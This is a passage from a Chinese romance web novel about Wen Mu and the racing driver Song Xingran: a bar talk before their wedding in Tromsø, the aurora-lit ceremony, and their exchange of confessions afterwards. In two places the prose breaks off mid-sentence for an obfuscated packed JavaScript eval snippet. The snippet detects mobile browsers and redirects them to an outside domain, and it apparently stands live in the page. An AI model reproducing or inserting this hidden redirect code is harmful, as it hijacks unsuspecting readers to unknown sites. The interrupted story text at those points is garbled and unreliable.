为什么温木会盯着那个叫明樱的女孩出神? 为什么她会在提到“年轻的时候”时露出那种恍惚的表情? 他有太多太多的问题。 嫉妒如同毒蛇,一口咬住他的心脏。 拳头不自觉地攥紧,指甲深深陷入掌心。他想把温木扳过来,逼问出每一个细节;又想把她紧紧锁在怀里,让全世界都知道她是他的。 身旁传来平稳的呼吸声。 最终,他只是很轻很轻地说:“我不会让人把你抢走的。” 声音低得几乎听不见。 “你只能是我的。” * 于茉是在婚礼前一天傍晚到的。 特罗姆瑟的日落来得格外早,下午三点多,天空就已经染上了橘红色的晚霞。 温木站在酒店大堂,看着于茉风风火火地推门而入,身后跟着一个熟悉的身影,宁远西依旧穿着朴素的白衬衫和牛仔裤,干净得像一泓清泉。 “宝贝!”于茉一把抱住温木,在她脸上响亮地亲了一口,“想死你了!” 温木被她撞得后退半步,看向一旁的年轻男人:“小宁,你好。” “路上碰见的。”于茉翻了个白眼,“这家伙非要跟来,说是怕我哭软了没人管。” 宁远西温和地笑了笑,目光在温木脸上停留片刻:“小木姐,你好。” “你看起来气色很好。” 温木刚要回答,宋星燃不知从哪里冒出来,一把搂住她的腰:“谢谢关心,我老婆一直被我照顾得很好。” 宁远西的表情僵了一瞬,很快恢复如常:“恭喜。” 气氛一时有些尴尬。 于茉眼珠一转,突然拉住温木的手:“走,陪我去喝一杯!” “不行。”两个男人同时开口。 于茉和温木无奈地对视一眼,异口同声:“滚一边去。” 半小时后,两人坐在港口附近的一家小酒吧里。 木质装潢的酒吧透着北欧特有的简约风格,墙上挂着复古的航海图和鲸鱼标本。温木点了一杯单一麦芽威士忌,于茉则要了杯热红酒。 “明天就是婚礼了,你确定要喝酒?”于茉有些担心地看着她。 温木晃了晃酒杯,冰块碰撞发出清脆的声响:“半杯而已,不会有事。” 窗外,最后一缕夕阳沉入海平面,港口亮起星星点点的灯光。 于茉盯着温木看了许久,问她:“紧张吗?” “有什么好紧张的。”温木抿了一口酒,琥珀色的液体滑过喉咙,带来微微的灼烧感,“证都已经领了,现在不过是走个形式。” “所以你真的想清楚了?”于茉搅动着热红酒里的肉桂棒,杯中的红酒在灯光下泛着深沉的红色,“明天过后,你可就真成了宋太太了。” 温木轻轻摇晃着威士忌酒杯,琥珀色的酒液在冰块上留下蜿蜒的痕迹。 “法律意义上,我早就是了。” “你知道我指的不是这个。”于茉凑近了些,“我是说,你真的准备好接受这段婚姻的全部了吗?” “包括,感情那部分?” 酒吧里播放的爵士乐换了一首,萨克斯风的声音低沉而缠绵。 温木的目光落在远处墙上的鲸鱼标本上,那庞大的生物被永远定格在跃出水面的瞬间。 “说实话,”她的指尖轻轻摩挲着杯沿,“我不知道。” 于茉挑眉:“不知道什么?” 温木的声音很轻:“不知道他对我到底是什么感情。也不知道我对他的感觉算什么。” “他表现得还不够明显吗?”于茉夸张地比划着,“那小子看你的眼神,简直像是要把你刻在视网膜上。” 温木轻笑一声:“男人的热情能维持多久?三个月?半年?” “你这也太悲观了。”于茉皱眉,“你们俩在一起都快一年了。” “那是因为我们结婚了。”温木抿了一口酒,“婚姻给了他一个理所当然留在我身边的理由。” “你真的这么想?”于茉难以置信地看着她,“你觉得他只是因为婚姻才,对你表现出那种热情的状态?” “我不知道。” “我只知道男人的嘴,骗人的鬼。特别是年纪小的男人,说变就变。” 于茉突然伸手按住温木的手腕:“你该不会是因为……” 温木:“因为什么?” 于茉:“因为明杨的事。” 温木的手指骤然收紧,酒杯里的冰块发出轻微的碰撞声。 窗外的港口,一艘渔船缓缓驶过,船上的灯光在水面上投下摇曳的倒影。 温木最终只是说:“别提他。” “我就知道!”于茉一拍桌子,“都过去多少年了,你还……” “我没有。”温木推了推眼镜,镜片后的眼神平静得可怕,“我只是学会了用更理性的方式看待感情。” “理性?”于茉嗤笑一声,“感情要是能理性分析,那还叫感情吗?” 温木没有立即回答。 她看着窗外,几个水手正在码头上忙碌,他们的笑声隐约传来。 “你看那艘船。”她突然说,“它今天停在这个港口,明天可能就去了别处。” “感情不也是这样吗?来得快,去得也快。” “宝贝,宋星燃不是一艘船。”于茉认真地说,“他更像,像那座灯塔。” 她指向远处港口矗立的白色灯塔,“一直在那里,风雨无阻。” 温木顺着她指的方向看去。 灯塔的光束规律地扫过海面,坚定而持久。 “也许吧。”她轻声说,“但灯塔照亮的从来不止一艘船。” 于茉叹了口气:“所以你打算怎么办?就这样一直保持距离?” 保持距离? 他们早就是负距离了。 “现在这样挺好的。”温木转回视线,“这段婚姻维持得,比我想象中轻松许多。” “至少他现在,挺乖的,钱花不完,爱做不完。某种程度上,是很适合当老公的人选。” “天啊!”于茉扶额,“你听听你说的是人话吗?什么叫''很适合当老公的人选''?这是选股票还是选男人啊?” 温木的嘴角微微上扬:“有区别吗?都需要理性分析。” “那感情呢?”于茉追问,“你对他就没有一点……” 她最终选择了“感觉”这个词。 温木沉默片刻,随后坦然道:“好感,肯定是有的。” “说实话,我以前觉得,年纪小的男人都不靠谱。但跟他相处后发现,也不全是这样。至少,他不是。” “但好感归好感,我不能确定,我现在对他的感情称得上喜欢,或者爱。” 于茉:“宝贝儿,那你为什么同意办这场婚礼?” 威士忌的酒精开始在血管里发挥作用,一丝暖意从胃部扩散开来。 “可能是因为,我不想辜负他的用心。” “哈!”于茉像是抓到了什么把柄,“所以你还是在意的!” “在意和爱是两回事。”温木冷静地说,“就像我知道这杯酒很好,但不代表我会贪杯。” “那你打算一直这样下去?” “我觉得,暂时这样挺好的,我不想,也没理由现在就结束这段关系。” “也许我需要花上一段时间去搞清楚自己对他的感情。” “当然,如果有一天需要结束。” “你就会利落地抽身而退,不留任何痕迹。” 于茉替她说完,翻了个白眼。 “天呐,你这套理论简直无懈可击。” 温木微微一笑:“谢谢夸奖。” “我不是在夸你!”于茉抓狂地说,“你这是在用理性给自己筑墙!宋星燃那小子知道你这么想吗?” “他不需要知道。” “万一他听到了呢?” 温木的笑容淡了些:“那正好。让他明白这段关系的本质,对大家都好。” 于茉盯着她看了许久,叹了口气:“阿木,你有没有想过,也许你害怕的不是他变心……” 温木:“那是什么?” 于茉:“是你自己爱上他。” 温木的手指僵住了。 酒吧里的音乐恰好切换到一首慢歌,女歌手沙哑的嗓音唱着关于失去与恐惧的歌词。 “我……” 她刚要开口,一阵眩晕袭来。酒精的作用让她眼前的事物开始轻微晃动。 “有点醉了。”她扶住额头。 于茉连忙起身:“我送你回去。” 两人刚站起来,一个低沉的声音在身后响起:“我来。” 温木回头,宋星燃不知何时出现在酒吧角落,此刻正站在她们身后,脸色阴沉得可怕。 于茉惊得瞪大眼睛。 他什么时候来的?!他听到了多少?! “她,她就喝了半杯威士忌。”于茉结结巴巴地解释,“明天婚礼不会睡过头的。” 宋星燃没有回答,直接弯腰将温木打横抱起。他的动作很轻,手臂却绷得紧紧的,肌肉线条在衬衫下清晰可见。 “睡过头又怎样。”他声音沙哑,“婚礼推迟一天就是了。” 温木靠在他怀里,能清晰地听到他有力的心跳。男人身上带着室外的寒气,混合着淡淡的雪松香气,让她莫名安心。 她偷偷抬眼,男人的下颌线绷得紧紧的,嘴角抿成一条直线。 他在生气。 不是因为喝酒,不是因为婚前夜出,而是因为,她刚才说的那些话。 温木的心突然揪了一下。她不确定宋星燃听到了多少,但显然足够让他不高兴了。 奇怪的是,他并没有发作,只是沉默地抱着她走出酒吧,走进寒冷的夜色中。 “宋星燃。”她轻声唤他的名字。 男人低头看她,眼神复杂难辨。路灯的光晕映在他的侧脸上,勾勒出锋利的轮廓。黑发被风吹得有些乱,有几缕垂在额前,让他看起来年轻又脆弱。 “冷吗?”他问,声音很轻。 温木摇头,却被他搂得更紧了些。宋星燃用大衣裹住她单薄的身体,体温透过衣料传来,驱散了挪威冬夜的寒意。 他忽地开口,声音低到只有她能听到见: “不管有什么事,我都能给你兜底。” “温木。” “请你相信我。” * 温木在黄昏的光晕中醒来。 床的另一侧已经空了,只有凹陷的枕头和残留的体温证明宋星燃曾经在这里躺过。她伸手抚摸那片余温,指尖传来细微的触感。 枕头上放着一枚小小的木星耳钉,旁边是张字条:【今天不许戴眼镜】。 “宋先生一早就去婚礼现场了。”经理在门外轻声解释,“他说要亲自确认每一个细节。” 温木被引导着走向衣帽间,推开门的一瞬间,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371131|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呼吸停滞了。 婚纱悬挂在落地镜前,深蓝色的丝绸在暮色中泛着神秘的光泽。 上半身是简洁的抹胸设计,贴合着她身体的曲线;从腰部开始,裙摆如同星云般流动舒展,深浅不一的蓝色丝线交织出宇宙的深邃,细碎的钻石点缀其间,宛如银河倾泻而下。 头纱同样选择了深蓝色,轻薄如雾,边缘绣着精细的星座图案。 “需要帮您穿上吗?”经理轻声询问。 温木点点头,发觉自己的手在微微发抖。 更衣的过程像一场仪式。 两名助理小心翼翼地帮她穿上婚纱,调整每一处褶皱,确保裙摆的星云图案完美呈现。 最后,她们为她戴上头纱,深蓝色的薄纱如云雾般垂落,钻石在灯光下闪烁如真实的星辰。 “宋先生一定会看呆的。”经理递来一面手持镜,声音里带着惊叹。 说实话,镜中的女人让温木自己都感到陌生。 “时间到了。”经理轻声提醒。 温木深吸一口气,走向套房大门。走廊尽头,于茉已经等在那里,穿着同色系的伴娘礼服,眼睛瞪得溜圆。 “天啊!”于茉捂住嘴,“你这,这也太!” “夸张?”温木低头看了看裙摆。 “美得不像话!”于茉激动地抓住她的手,“那小子看到你,怕是要当场跪下来。” 温木轻笑,却感到一阵莫名的紧张。 她知道,法律上他们早已是夫妻。但此刻,心跳却快得不像话,手心渗出细密的汗珠。 一步,又一步。 温木在于茉的牵引下走下台阶。 她们在教堂门口停住,温志远已经等在那里。 “宝贝,准备好了吗?”于茉轻声问。 温木微微一笑:“我想,是的。” 当管风琴声响起时,整个礼堂安静下来。 入口处的双扇门缓缓打开,温木的身影出现在众人视线中。 她穿着那袭深蓝色星空婚纱,头纱随着步伐轻轻飘动,像是夜风拂过的薄雾。 没有眼镜的阻隔,女人的眼睛在烛光下清澈见底,眼尾微微上挑,流露出平时罕见的柔和。 温木的第一眼看到的不是宾客,不是鲜花,而是透过玻璃穹顶洒落的星光。 整个婚礼厅的设计宛如一个巨大的天文馆,弧形穹顶由特殊玻璃制成,能够清晰地看到外面的夜空。 此刻,暮色刚刚褪去,第一批星辰已经亮起,在深蓝色的天幕上闪烁。 红毯两侧的座位不多,只邀请了最亲近的家人和朋友。温木看到了实验室的同事们,于茉和宁远西,宋家的长辈们,还有几位她认得的赛车手。 每个人手里都拿着一盏星星形状的小灯,暖黄的光晕在昏暗的厅内如同漂浮的星辰。 她的目光顺着红毯向前,终于在尽头看到了宋星燃。 男人背对着她站在星空下,黑色燕尾服勾勒出宽肩窄腰的完美比例。他似乎感应到了什么,缓缓转身。 温木从未见过这样打扮的宋星燃。 一向张扬的黑发被梳成一丝不苟的背头,露出饱满的额头和锋利的眉骨。黑色西装衬得他肤色愈发冷白,领结端正地系在喉结下方,整个人散发着成熟稳重的气场。 那双恣意的眼眸此刻深邃如海,目光灼灼地锁在她身上,像是要把这一刻的她永远刻进记忆。 她挽着父亲的手臂缓步前行,婚纱上的钻石随着移动闪烁着细碎的光芒,宛如流星划过夜空。 宾客中传来轻微的惊叹声,于茉偷偷抹了下眼角。 温木能感觉到,所有人的目光都集中在她身上。 但她的眼睛里,只能看见红毯尽头的那个人。 当温志远将女儿的手交给宋星燃时,老父亲的眼眶微微发红:“好好待她。” 宋星燃郑重地点头,手指紧紧握住温木的。她的指尖微凉,掌心却有一层薄汗,原来她也在紧张。 他们并肩走向仪式台,神父微笑着等待。 透过穹顶,天色已经完全暗了下来,星光越来越清晰。 神父的声音温和而庄重:“今天,我们聚集在此,是为了见证一对有缘人的美满结合。” 温木几乎听不清神父在说什么,她的注意力全在交握的那只手上。 男人的拇指轻轻摩挲着她的指节,像是在无声地安抚。他的手掌宽大温暖,完全包裹住她的,那些常年握方向盘留下的薄茧摩擦着她的皮肤,带来细微的颤栗。 “宋星燃先生,你是否愿意接受温木女士成为你的妻子,无论顺境或逆境,富裕或贫穷,健康或疾病,都爱她,照顾她,尊重她,接纳她,永远对她忠贞不渝,直至生命尽头?” 宋星燃转身面对温木,眼神专注得近乎虔诚。他开口时,声音低沉而坚定,回荡在安静的礼堂里: “我愿意。” “温木女士,你你是否愿意接受宋星燃先生成为你的丈夫,无论顺境或逆境,富裕或贫穷,健康或疾病,都爱她,照顾她,尊重她,接纳她,永远对他忠贞不渝,直至生命尽头?” 温木抬头,在男人深邃的眼眸中看见了自己。 “我愿意。” 他们为彼此交换戒指,男人的手指微微发抖,差点没拿稳。温木轻握住他的手腕,感受到脉搏剧烈的跳动。 他真的很紧张。 他为什么,会这么紧张? “现在,新郎可以亲吻新娘了。” 深蓝色的薄纱被缓缓掀起,像夜幕被晨光驱散。 当他们的目光在纱帘后相遇时,时间静止。 男人一手牵着她,一手捧住她的脸,拇指轻轻抚过她的颧骨。他俯身的动作很慢,像是要给她足够的时间拒绝。 但温木没有躲闪。她微微仰头,闭上眼睛,感受到他的呼吸越来越近,直到,唇角相触。 这一刻,穹顶外的夜空突然亮起。 翠绿色的极光如同流动的丝绸,在深蓝色天幕上舒展开来。光带蜿蜒流转,时而如瀑布倾泻,时而如火焰升腾,那光芒透过玻璃洒落下来,似编织了一场美梦。 “真美。”温木轻声感叹。 男人却没有看向天空,目光始终停留在她脸上:“是啊,真美。” 温木眼尾含笑,轻声开口:“这个,难道也是小宋少爷安排的?” 宋星燃摇头,目光专注地看着她:“这是宇宙给我们的礼物。” “我们,天生一对。” 他再次低头吻她,而极光在他们头顶舞动,如同亿万光年外的星辰在为这一刻作证。 温木闭上眼睛,第一次允许自己去感受——感受这场婚姻带来的所有悸动,感受这个吻里包含的所有承诺,感受自己内心深处那份被理性压抑已久的心动。 她听见一个声音,那个声音在说: “我爱你。” 40. For us 男人抱着他的新娘穿过长廊,深蓝色的婚纱裙摆如星河倾泻,在他臂弯间流淌。怀中的人被包裹在星云般的纱裙中,像是宇宙赐予他最珍贵的礼物。 温木将脸埋在他胸前,能清晰地听见他有力的心跳声,一下一下,如同最虔诚的鼓点。 “你放我下来。”她的声音闷在他胸膛里。 “不要。”宋星燃收紧手臂,将她搂得更紧了些。 “很重的。”温木轻声抗议。 光是穿着这身婚纱走路都让她觉得吃力,更遑论还要被人抱着走。 宋星燃轻笑一声,突然将她往上颠了颠:“如果一个男人连自己的新娘都抱不动,那他还算什么男人?” 他的声音低沉而笃定,带着不容反驳的强势,“何况是你,你本来就已经很轻了。” 温木耳尖发烫,不再挣扎。 走廊的灯光在他们头顶流淌,将两人的影子拉得很长,像是童话里骑士抱着他的公主回到城堡。 更衣室门前,服务人员恭敬地为他们打开门。 宋星燃大步走入,小心翼翼地将温木放在丝绒沙发上,深蓝色的婚纱在米白色沙发上铺展开来,宛如夜空降临人间。 “等我一下。”他轻声说,转身走向衣帽间。 温木看着他挺拔的背影消失在衣帽间门口,有些恍惚。他们第一次见面的时候,他还是一个毛头小子。这才过去大半年,已经变成一个会为她精心准备一切的男人了。 她不知道,应该高兴,还是担心。 衣帽间里传来轻微的响动,目光不自觉地追随着声音的来源。 宋星燃捧着一件白色旗袍走出来,丝绸面料在灯光下泛着珍珠般的光泽。旗袍上绣着精致的栀子花,枝叶舒展,花瓣层叠,仿佛能闻到淡淡的花香。 他走到她身边坐下,眼神柔软得不可思议。 “我帮你换?”他问,声音里带着小心翼翼的请求。 温木看着他手中的旗袍,轻轻点头。 宋星燃深吸一口气,单膝跪在她面前。他先是将她的脚轻轻抬起,动作轻柔得不像话。 温木的高跟鞋是深蓝色的,与婚纱相配,鞋跟细得像一根针。他的手指抚过她的脚踝,那里已经磨出了一道红痕。 “疼吗?”他皱眉,声音里满是自责。 温木摇头,却在他解开鞋扣时轻轻瑟缩了一下。 他立刻停下动作,抬头看她,太过专注、太过直白,让她不自觉地偏过头去。 高跟鞋被轻轻脱下,男人拇指抚过她脚踝的红痕,他俯身,在那处轻轻落下一个吻。 “别。”她轻声抗议,声音却软得不像话。 他低笑,却没有停下。他慢慢解开婚纱背后的系带,动作小心得不可思议。指尖偶尔擦过她的背部皮肤,带来一阵细微的战栗。 婚纱的抹胸设计让她只贴了胸贴,随着系带松开,布料渐渐滑落。 宋星燃的呼吸明显变得沉重,但他克制着自己的目光,只专注在手中的任务上。 当婚纱完全滑落时,温木几乎能听见他屏住呼吸的声音。 女人的肌肤在灯光下如同上好的羊脂玉,曲线优美得令人窒息。 宋星燃觉得自己的理智正在接受前所未有的考验。 他的新娘美得让他想跪地祈祷,又想放肆亵渎。 他迅速拿起一旁的旗袍,小心翼翼地帮她穿上。 丝绸面料滑过肌肤的触感让温木轻轻颤抖,手指偶尔擦过她的腰侧、后背,每一次触碰都像是有火花迸溅。 当最后一个盘扣被扣上时,两人都松了一口气。 温木抬眸看向宋星燃,却被他眼中的情绪震住了。那是毫不掩饰的着迷与动情,炽热得几乎要将她灼伤。她突然有些无所适从,手指不自觉地绞在一起。 男人缓缓开口,声音有些沙哑:“刚才,在教堂里,我跟你说了一句话。” “你,听见了吗?“ 温木看着他,半晌,点头。 “嗯,我听见了。” 宋星燃攥紧了西装裤子的布料,指节泛白:“那你,愿意接受吗?” 温木愣住。 她以为他会问“你爱我吗”或者“你愿意永远和我在一起吗”,却怎么都没有没想到是这样谦卑的请求。 不是索取,而是询问她是否愿意接受他的爱。 心脏像是被一只无形的手紧紧攥住,酸涩又温暖。 这个曾经张扬肆意的男人,用他独有的方式一点点瓦解她的防线,却从未逼迫过她一分一毫。 男人抬眸,声音里有一丝颤抖。 “其实我一直很想问你一个问题。” “你问吧。” “你之前,有过喜欢的人吗?” 温木骤然失声,喉咙像被什么东西堵住一般,怎么都发不出声音。 她想起在苏黎世那个总在图书馆“偶遇“她的学弟,想起他灿烂的笑容和炽热的目光。他大张旗鼓地地闯进她的世界,又悄无声息地丢下她一个人兵荒马乱。 她从他身上,明白了动心是什么感觉。 就像现在,她对这个跪在她身前的男人,会产生的,一样的感觉。 温木在纠结,纠结要不要说一个善意的谎言,要不要选择跳过这个话题让他自己去猜测。 可是,当她对上那束盈盈的目光时,所有的想逃避的想法,都烟消云散了。 “有。” 她最终诚实地回答。 “我曾经,对一个人,动过心。” 男人眼中闪过一丝痛楚,但他很快调整好表情,只是指节攥得更紧了。 “很喜欢吗?” 温木摇头:“只是动心。” “那我呢?” 宋星燃抬头看她,眼神脆弱得不像话。 “这么久了,你对我,动心了吗?“ 更衣室里安静得能听见彼此的呼吸声。 温木觉得,自己不是一个冷情冷性的人。她能感觉到他炙热的感情,也能感觉到自己的心。 从前,她的心像是一块冰,可就这九个月,这块冰被男人用体温一点点融化,重新跳动。 有很多个时刻,她并非是不知道,只是不想面对,也不想承认。 但现在,在这里,在他们的新婚之夜,在极光下,在他面前,那颗为他跳动的心,无所遁形。 “嗯。” “有的。” 男人的眼睛瞬间亮了起来,牵起她的手,正色道:“你能,听我说几句话吗?” 温木轻笑。从她认识他,到结婚,到住在一起,到一起度过这段时光,在他们的相处中,宋星燃总是叽叽喳喳的那个,她总是安静聆听的那个。 从前,她觉得听人废话是件浪费时间的事,可现在,她觉得这很有趣。 “我什么时候不听你讲话了?” “宋少爷不要冤枉老年人哦。” 他没笑,只是深吸一口气,继续道:“我知道,我们相处的时间很短,我也知道,自己有很多很多缺点,不是一个合格的丈夫。” “但是,我真的爱你。或者,或者你觉得我这样说太鲁莽的话,我想说,我真的很喜欢你。是那种,想把它变成爱的喜欢。” “在认识你之前,我没有谈过恋爱,没有对任何人动过心。所以我也不知道怎样才是喜欢上,怎样才是爱上。但是我知道,你是不一样的。我对你的感觉,也是不一样的。” “温木。” “能不能给我一个机会,让我学着爱你。” 他声音颤抖得厉害,与平日里那个不可一世的赛车手判若两人。 他很难过、很紧张、很焦虑,甚至,有些卑微。 温木从没见过他这副样子,心脏像是被什么东西狠狠撞了一下。 “我不在乎你过去的感情,我们已经结婚了,没有人能改变这个事实。” “我只希望你能只看向我。哪怕现在只是动心,我也会努力变得更好,好到让你爱上我。” 眼眶忽地有些发热。 她伸出手,轻轻抚上他的脸颊。 “我愿意。” 男人抬起头,眼睛亮得惊人。 “我愿意,让你学着爱我。” 我也愿意,学着爱你。 温木没有说出口,她害怕自己的感觉错了,害怕自己人生中屈指可数的“跟着感觉走”错了。 她想给自己留点余地,留点尊严,留点,不会再次受伤的底气。 宋星燃从矮几上拿过一个小盒子,里面是闻清梧给她的那个玉镯。 “你答应我了,敬酒时会戴上的。” 他轻声解释,小心翼翼地将玉镯套进她的手腕。 男人又起身,从衣帽间拿出一双平底绣鞋和袜子,单膝跪地,亲手为她穿上。 他的手指抚过她脚踝的红痕,眉头紧锁:“都磨红了。很疼吧?” 温木摇头:“还好。” 对不起。”他的声音里满是自责,“明明说好了让你成为最幸福的新娘,却还是让你疼、让你难受。” 温木看着他低垂的睫毛,轻声道:“疼。” “但因为是跟你结婚,所以没关系。” 宋星燃猛地抬头,眼中情绪翻涌。 他站起身,向温木伸出手,声音温柔得不可思议:“老婆,我们走吧。” 温木将手放在他的掌心,被他轻轻拉起。男人顺势将她拢入怀中,一个轻柔的吻落在她的额头。她顺从地闭上眼睛,感受着他温暖的怀抱和有力的心跳。 “我好开心。” 宋星燃在她耳边低语,声音里满是掩不住的喜悦。 “我们结婚了。” “你是我老婆了。” 温木睁开眼,看着他西装左胸口处那枚木星胸针,轻声道:“我早就是了。” 下巴被温热的指尖轻轻挑起,男人的拇指在她下颌线处流连。 极光透过落地窗在他们身上投下变幻的光斑,他睫毛下的瞳孔里盛着整个银河的星光。 “宋星燃。” 她轻声唤他。 “嗯?” 男人的指尖在她唇边停顿。 温木仰头看他,眼睛在暗处格外清亮:“你不是知道,我喜欢在星空下接吻吗?” 他轻笑:“老师这是在教我吗?“ 她微微踮脚,极光映在她清澈的眼底。 “那现在——” “你在等什么呢?” 吻落下来时轻得像一片雪花。 温木闭上眼睛,感受到他克制的颤抖。这个在赛道上无所畏惧的男人,此刻吻她时却小心翼翼得像对待易碎的梦境。 两秒后,唇瓣分开。 “我听说,看见极光的人会一辈子幸福。“ 温木抬手整理他歪掉的领结:“你本来就很幸福。” “你会继续幸福下去的。” 男人的眼神痴迷得近乎虔诚。他抓住她的手按在自己心口。 “嗯,我会幸福的。” 不是因为看见了极光,是因为遇见了你。 他没有说出口,换成轻轻一吻落在她指尖。 * 教堂里,水晶吊灯将觥筹交错的人影投映在彩绘玻璃上。温木挽着宋星燃的手臂穿行在宾客间,玉镯随着动作轻轻撞击香槟杯,发出清脆的声响。 “枝枝今天真漂亮。”秦忆抹着眼角,将一朵栀子花别在女儿鬓边,“比妈妈当年还美。” 温志远举着相机不停拍摄:“多拍几张,回去洗出来挂满书房。” 宋明深正和老爷子争论着什么,沈岁笑着打断:“爸,您就别操心蜜月行程了,阿燃都安排好了。” “安排什么了?”闻清梧突然插话,眼睛亮晶晶的,“去我上次说的那个观星台没有?” 宋星燃刚要回答,于茉突然冲过来把温木拽走:“借你老婆十分钟!” 化妆间的门刚关上,于茉的指尖就点上温木的唇:“啧啧啧,口红都被亲没了。” 她掏出小镜子怼到温木面前,“自己看看!” 镜中的女人双颊绯红,唇色淡得几乎透明,唯余眼角一抹红晕。 温木下意识去摸唇角:“也没有亲得很重啊。” “还狡辩!”于茉从化妆包掏出口红,恶狠狠地拧开,“低头!” 温木乖乖俯身,任她用唇刷一点点勾勒轮廓。于茉的手很稳,眼神却渐渐模糊起来。 当第一滴泪砸在化妆棉上时,温木愣住了。 “茉茉?” “闭嘴!抬头!”于茉凶巴巴地命令,手上动作却更轻了,“我才没有哭呢!我这是,是睫毛膏进眼睛了……” 温木看着闺蜜发红的鼻尖,下意识伸手抱住她。栀子花香水的味道扑面而来,混合着于茉常用的那款洗发水气息,熟悉得让人眼眶发热。 “呜呜呜我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376985|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白菜被猪拱了!”于茉把脸埋在她肩上,精心打理的大波浪乱成一团,“说好三十岁一起单身到老的呢?你怎么可以先结婚,怎么可以丢下我一个人呢……” 温木轻拍她颤抖的背脊,想起大学时她们躺在宿舍天台,于茉信誓旦旦说“男人都是大猪蹄子”的样子。 “对不起。” “你知不知道!”于茉抽噎着抬起头,眼线晕成熊猫眼,“你结婚后我们俩吃饭次数少了一半!上周那家新开的日料店,我一个人去的。咱们以前经常去的那家火锅店,我也是一个人去的。” “呜呜呜呜讨厌你,讨厌你!” 温木用拇指擦去她脸上的泪痕,结果越擦越花。 “不哭了,宝贝,不哭了。” 于茉突然抓住她的手腕,玉镯撞在一起发出清脆的响。 “温木你给我听好了。”她吸着鼻子,妆花得惨不忍睹却异常认真,“不管什么时候,你自己最重要。有不舒服了,有不开心了,一定要说。” 温木点头,于茉却突然提高音量:“那臭小子要是敢不听,你就来找我!我永远站你这边!” 门外传来“咚“的一声闷响,接着是宋星燃的痛呼。 宁远西的声音隐约传来:“都说了别偷听……” 她抹了把鼻涕,气势汹汹地补充,“要是过不下去,咱就离!谁怕谁啊!你离婚了我养你,咱俩过一辈子!” 门外又是一阵混乱的响动,这次夹杂着宋星燃咬牙切齿的“你做梦”和宁远西无奈的叹息。 温木突然笑了。她将于茉哭花的脸搂进怀里,轻轻拍着她的背:“好,都听你的。” “真的?”于茉抬起泪眼。 “嗯。”温木点头,眼神温柔,“不过现在,能先帮我补完口红吗?” “全世界最好的茉莉宝贝。” 于茉破涕为笑,一边抽泣一边继续手上的动作:“记得给我寄明信片。” “每到一个地方都寄。” “要买当地最丑的那种!” “好。” 当温木重新出现在宴会厅时,宋星燃立刻迎上来。 他盯着她重新涂好的口红看了几秒,突然凑到她耳边:“待会我还能亲吗?” 温木瞥了眼不远处虎视眈眈的于茉,轻声道:“你可以试试。” 男人开怀大笑,牵起她的手走向舞池。极光透过穹顶洒落在他们身上,将深蓝色旗袍与黑色西装染成梦幻的紫绿色。 在家人朋友的注视下,他们随着音乐缓缓摇摆,像是浩瀚宇宙中终于找到彼此的两颗星辰。 * 温木陷在羽绒被里,疲惫感如潮水般漫上来。 窗外极光仍在舞动,将天花板染成流动的翡翠色。 她望着那光芒,恍惚间觉得今天的婚礼像一场梦。 深蓝色的婚纱,栀子花旗袍,还有宋星燃在极光下说“我愿意”时发亮的眼睛。 她缓缓伸出手,想要触碰窗外的星空。 指尖刚触到冰凉的空气,就被一只温暖的大手包裹住。 “在抓什么呢?”男人的声音带着事后的慵懒。 “在抓……” “星星。” 他低笑,将她的手牵到自己脸上。温木顺势转身,对上他近在咫尺的眼睛。极光映在他瞳孔里,像是把整个银河都装了进去。 他蹭了蹭她的掌心,声音沙哑:“最亮的那颗不是已经在这儿了?” 温木微微勾起嘴角:“自恋狂。” 想抽回手,却被他握得更紧。 宋星燃收紧手臂,将她整个人搂进怀里。他的体温透过相贴的肌肤传来,比羽绒被更暖和。 温热的呼吸扫过她耳尖:“下个月,我就要走了。” 温木几乎是下意识问他:“又要走了吗?” 话一出口才觉不妥,只是硬硬补了句:“爸妈,会舍不得你的。” 意外的,宋星燃没趁机调侃,只是用鼻尖蹭了蹭她的发丝:“以前在家待的时间还要更短些。” “因为有了你,才不一样了。” 温木沉默地玩着自己的发尾,不知道该怎么回应。 “你会像去年一样来看我吗?” 他问得很轻,像是怕听见答案。 指尖的动作顿住了。温木想起实验室里堆积如山的观测数据,于茉昨天还在酒吧里说要赶在雨季前完成模拟运算。 她转身面对宋星燃,直视他的眼睛:“今年项目到关键阶段,可能……” 话没说完就被搂得更紧。 男人把脸埋进她颈窝,声音闷闷的:“我知道这话不对,也知道你会生气。但我还是要说。” “我讨厌你把工作看得那么重要,更讨厌你把工作看得比我还重要。” “说完了,你打我吧。” 温木意外地没恼,反而笑出来。 她抬手抚上他的后颈,指尖陷入柔软的黑发:“我听奶奶说,你前年为了研发新车,还在工厂住了两周?” “我们只是在正确的时间做正确的事,这和谁更重要无关。” 宋星燃抬起头,眼角微微发红。 他固执地摇头,像只被抢了玩具的大型犬:“不一样。我可以为你推掉任何比赛,你呢?能为我推迟实验吗?” 温木突然想到“小媳妇”这个词,轻笑出声。 她捧住他的脸,拇指擦过他微微下垂的嘴角:“等项目结束,我努力在欧洲找工作。” 男人的眼睛瞬间亮了起来,又迅速暗淡。 “你会想家的。” 她点头,望进他眼底: “嗯,会想家。” “但跟你在一起,也是家。” 他凝视着她许久,又猛地吻上来,力道大得几乎撞疼她的嘴唇。 温木闭上眼,手臂环上他的脖子。 